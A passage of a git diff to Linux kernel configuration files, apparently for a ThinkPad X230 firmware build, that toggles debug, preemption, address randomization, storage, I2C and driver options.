CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2691,11 +2804,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2709,16 +2827,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -2752,6 +2867,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -2764,6 +2880,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -2775,36 +2892,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -2813,8 +2934,8 @@ CONFIG_EARLY_PRINTK=y # CONFIG_DEBUG_TLBFLUSH is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y # CONFIG_X86_DECODER_SELFTEST is not set -CONFIG_IO_DELAY_0X80=y -# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set # CONFIG_CPA_DEBUG is not set @@ -2837,6 +2958,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-x230-maximized.config b/config/linux-x230-maximized.config index 6a61e1808..57c8271ba 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -110,13 +110,11 @@ CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_BPF_JIT is not set # end of BPF subsystem -CONFIG_PREEMPT_BUILD=y +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set -CONFIG_PREEMPT_COUNT=y -CONFIG_PREEMPTION=y -CONFIG_PREEMPT_DYNAMIC=y +# CONFIG_PREEMPT_DYNAMIC is not set # CONFIG_SCHED_CORE is not set # @@ -134,7 +132,6 @@ CONFIG_TICK_CPU_ACCOUNTING=y # RCU Subsystem # CONFIG_TREE_RCU=y -CONFIG_PREEMPT_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y CONFIG_TREE_SRCU=y @@ -166,7 +163,7 @@ CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -181,7 +178,7 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set -CONFIG_INITRAMFS_PRESERVE_MTIME=y +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y @@ -211,7 +208,7 @@ CONFIG_IO_URING=y CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y -# CONFIG_KCMP is not set +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -302,14 +299,14 @@ CONFIG_BOOT_VESA_SUPPORT=y CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y @@ -338,7 +335,7 @@ CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set # CONFIG_MTRR is not set -# CONFIG_X86_UMIP is not set +CONFIG_X86_UMIP=y CONFIG_CC_HAS_IBT=y # CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set @@ -358,8 +355,13 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set @@ -373,7 +375,7 @@ CONFIG_HAVE_LIVEPATCH=y CONFIG_CC_HAS_RETURN_THUNK=y CONFIG_SPECULATION_MITIGATIONS=y -# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_RETPOLINE=y CONFIG_RETHUNK=y CONFIG_CPU_IBRS_ENTRY=y @@ -678,7 +680,11 @@ CONFIG_MQ_IOSCHED_DEADLINE=y # CONFIG_IOSCHED_BFQ is not set # end of IO Schedulers -CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y @@ -880,7 +886,11 @@ CONFIG_HAVE_PCI=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set -# CONFIG_PCIEASPM is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y @@ -997,16 +1007,11 @@ CONFIG_DMA_SHARED_BUFFER=y # CONFIG_DMIID is not set # CONFIG_DMI_SYSFS is not set CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set # CONFIG_FW_CFG_SYSFS is not set CONFIG_SYSFB=y -# CONFIG_SYSFB_SIMPLEFB is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set # # EFI (Extensible Firmware Interface) Support @@ -1063,30 +1068,24 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # # Misc devices # -# CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_TIFM_CORE is not set -# CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set -# CONFIG_APDS9802ALS is not set -# CONFIG_ISL29003 is not set -# CONFIG_ISL29020 is not set -# CONFIG_SENSORS_TSL2550 is not set -# CONFIG_SENSORS_BH1770 is not set -# CONFIG_SENSORS_APDS990X is not set -# CONFIG_HMC6352 is not set -# CONFIG_DS1682 is not set # CONFIG_SRAM is not set # CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set @@ -1096,12 +1095,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # EEPROM support # -# CONFIG_EEPROM_AT24 is not set -# CONFIG_EEPROM_LEGACY is not set -# CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set -# CONFIG_EEPROM_IDT_89HPESX is not set -# CONFIG_EEPROM_EE1004 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1111,8 +1105,9 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set +# +# Altera FPGA firmware download module (requires I2C) +# CONFIG_INTEL_MEI=m CONFIG_INTEL_MEI_ME=m CONFIG_INTEL_MEI_TXE=m @@ -1162,14 +1157,64 @@ CONFIG_SCSI_ISCSI_ATTRS=y # CONFIG_SCSI_SRP_ATTRS is not set # end of SCSI Transports -# CONFIG_SCSI_LOWLEVEL is not set +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_DH is not set # end of SCSI device support CONFIG_ATA=y CONFIG_SATA_HOST=y CONFIG_PATA_TIMINGS=y -CONFIG_ATA_VERBOSE_ERROR=y +# CONFIG_ATA_VERBOSE_ERROR is not set CONFIG_ATA_FORCE=y CONFIG_ATA_ACPI=y CONFIG_SATA_PMP=y @@ -1263,7 +1308,7 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set -CONFIG_NET_VENDOR_ASIX=y +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set # CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set @@ -1272,16 +1317,14 @@ CONFIG_NET_VENDOR_ASIX=y # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -CONFIG_NET_VENDOR_DAVICOM=y +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set -CONFIG_NET_VENDOR_ENGLEDER=y -# CONFIG_TSNEP is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set -CONFIG_NET_VENDOR_FUNGIBLE=y -# CONFIG_FUN_ETH is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1300,17 +1343,15 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set -CONFIG_NET_VENDOR_WANGXUN=y -# CONFIG_NGBE is not set -# CONFIG_TXGBE is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set -CONFIG_NET_VENDOR_LITEX=y +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set -CONFIG_NET_VENDOR_MICROSOFT=y +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set # CONFIG_NET_VENDOR_NI is not set @@ -1341,7 +1382,7 @@ CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set -CONFIG_NET_VENDOR_VERTEXCOM=y +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1440,34 +1481,20 @@ CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set -# CONFIG_KEYBOARD_CYPRESS_SF is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_PS2_ALPS is not set # CONFIG_MOUSE_PS2_BYD is not set # CONFIG_MOUSE_PS2_LOGIPS2PP is not set CONFIG_MOUSE_PS2_SYNAPTICS=y -# CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS is not set # CONFIG_MOUSE_PS2_CYPRESS is not set # CONFIG_MOUSE_PS2_LIFEBOOK is not set # CONFIG_MOUSE_PS2_TRACKPOINT is not set @@ -1478,10 +1505,7 @@ CONFIG_MOUSE_PS2_SYNAPTICS=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_APPLETOUCH is not set # CONFIG_MOUSE_BCM5974 is not set -# CONFIG_MOUSE_CYAPA is not set -# CONFIG_MOUSE_ELAN_I2C is not set # CONFIG_MOUSE_VSXXXAA is not set -# CONFIG_MOUSE_SYNAPTICS_I2C is not set # CONFIG_MOUSE_SYNAPTICS_USB is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1519,7 +1543,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1538,7 +1562,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set -CONFIG_SERIAL_8250_PERICOM=y +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1548,7 +1572,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1567,7 +1590,6 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1586,17 +1608,11 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C is not set -# CONFIG_TCG_TIS_I2C_CR50 is not set -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set @@ -1607,88 +1623,7 @@ CONFIG_RANDOM_TRUST_CPU=y # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -# CONFIG_I2C_MUX is not set -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PLATFORM is not set -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_EMEV2 is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_CP2615 is not set -# CONFIG_I2C_PCI1XXXX is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# CONFIG_I2C_VIRTIO is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1715,29 +1650,13 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set -# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not set # CONFIG_BATTERY_SAMSUNG_SDI is not set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_LTC4162L is not set -# CONFIG_CHARGER_MAX77976 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set # CONFIG_BATTERY_GOLDFISH is not set -# CONFIG_BATTERY_RT5033 is not set -# CONFIG_CHARGER_BD99954 is not set -# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1782,81 +1701,25 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # 